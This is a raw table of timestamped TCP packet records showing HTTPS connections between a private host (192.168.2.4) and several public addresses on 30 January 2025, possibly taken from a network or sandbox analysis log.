Jan 30, 2025 19:24:19.672696114 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.673300028 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.673368931 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.673379898 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.673398018 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.673449993 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.673465967 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.673496008 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.716459990 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.760003090 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.760080099 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.760087013 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.760101080 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.760138035 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.760195971 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.760245085 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.760272026 CET	443	49763	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.760314941 CET	49763	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.763571978 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:19.763660908 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:19.763832092 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:19.764030933 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:19.764065027 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:19.784228086 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:19.784284115 CET	443	49767	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:19.784430027 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:19.784894943 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:19.784909010 CET	443	49767	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:19.911118984 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.911195040 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:19.911272049 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.911541939 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:19.911572933 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.030069113 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.030378103 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.030443907 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.030915976 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.031220913 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.031308889 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.031361103 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.075345039 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.079412937 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.169764042 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.169945955 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.170021057 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.170696020 CET	49765	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.170754910 CET	443	49765	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.218709946 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.218996048 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.219039917 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.219357014 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.219728947 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.219806910 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.219835997 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.247855902 CET	443	49767	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.248203039 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.248234034 CET	443	49767	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.252187014 CET	443	49767	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.252269030 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.252645016 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.252712965 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.252800941 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.252832890 CET	443	49767	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.252922058 CET	49767	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.253102064 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.253139019 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.253319979 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.253515005 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.253524065 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.263381958 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.265173912 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.379426956 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379472017 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379503965 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379533052 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379554033 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.379607916 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379637003 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.379657030 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379699945 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379722118 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.379736900 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379808903 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.379908085 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.379960060 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.380007982 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.380033016 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.384274006 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.384321928 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.384346008 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.394776106 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.395435095 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.395445108 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.395925045 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.396451950 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.396536112 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.396851063 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.396883965 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.396940947 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.439985991 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.468841076 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.468943119 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.468971014 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469115019 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.469168901 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469300032 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.469460964 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469856024 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469887018 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469921112 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469949007 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.469971895 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.469990969 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.470048904 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.470689058 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.470762968 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.470799923 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.470832109 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.470853090 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.470868111 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.470896006 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.471564054 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.471600056 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.471628904 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.471628904 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.471642971 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.471671104 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.472362041 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.472392082 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.472414970 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.472429037 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.472482920 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.473876953 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.528011084 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.528055906 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557084084 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557121038 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557147980 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557157040 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557171106 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557199955 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557240009 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557249069 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557287931 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557296991 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557306051 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557323933 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557338953 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557364941 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557393074 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557394028 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557408094 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557441950 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557461977 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557475090 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557499886 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557514906 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557540894 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557563066 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557579994 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557605982 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557621002 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557670116 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.557679892 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.557723999 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.558881044 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.558937073 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.558954000 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.558957100 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.558969975 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.558986902 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.559007883 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.559011936 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.559017897 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559026003 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.559051991 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.559060097 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559081078 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.559088945 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559089899 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.559108973 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559123039 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.559123993 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.559146881 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.559146881 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.559169054 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559201956 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.559201956 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.559222937 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559264898 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559298038 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559313059 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.559339046 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.559389114 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.563972950 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.564028978 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.564071894 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.564089060 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.564110994 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.564135075 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.604697943 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.642465115 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.642554045 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.642556906 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.642600060 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.664096117 CET	49766	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:24:20.664140940 CET	443	49766	104.18.95.41	192.168.2.4
Jan 30, 2025 19:24:20.673913002 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.673991919 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674040079 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674062014 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.674096107 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674139023 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674182892 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.674192905 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674232960 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.674271107 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674408913 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674452066 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674494028 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674494028 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.674518108 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.674536943 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.675301075 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.675415039 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.675467014 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.675477028 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.675515890 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.675518990 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.675534010 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.675580978 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.675587893 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676343918 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676387072 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676430941 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676433086 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.676445007 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676471949 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.676521063 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676563025 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.676563978 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.676578045 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.678294897 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.678303003 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.719890118 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.739866018 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.740078926 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.740094900 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.740551949 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.740817070 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.740901947 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.740991116 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:20.766535997 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.766635895 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.766679049 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.766704082 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.766727924 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.766772032 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.766922951 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.766984940 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.767021894 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.767076015 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.767087936 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.767110109 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.767158031 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.767169952 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.767258883 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.767930031 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.768007994 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.768024921 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.768070936 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.768075943 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.768098116 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.768121958 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.768954992 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.768999100 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.769012928 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.769031048 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.769054890 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.769072056 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.769128084 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.769138098 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.769203901 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.787338972 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:20.859225035 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.859304905 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.859311104 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.859350920 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.859385014 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.859401941 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.859688044 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.859741926 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.859913111 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.859970093 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.859991074 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.860044956 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.860454082 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.860533953 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.860537052 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.860555887 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.860588074 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.860604048 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.860646009 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.860660076 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.860711098 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.861371040 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.861432076 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.861447096 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.861498117 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.861510992 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.861567020 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.861569881 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.861583948 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.861634016 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.861634970 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.862400055 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.862461090 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.862463951 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.862476110 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.862507105 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.862526894 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.862535954 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.862552881 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.862580061 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.863292933 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.863353968 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.863354921 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.863379002 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.863406897 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.863507032 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:20.863564968 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.863823891 CET	49768	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:24:20.863857031 CET	443	49768	104.18.94.41	192.168.2.4
Jan 30, 2025 19:24:21.078788996 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:21.079068899 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:21.079197884 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:21.084750891 CET	49769	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:24:21.084769964 CET	443	49769	104.21.80.1	192.168.2.4
Jan 30, 2025 19:24:21.114645004 CET	49770	443	192.168.2.4	35.190.80.1
Jan 30, 2025 19:24:21.114692926 CET	443	49770	35.190.80.1	192.168.2.4
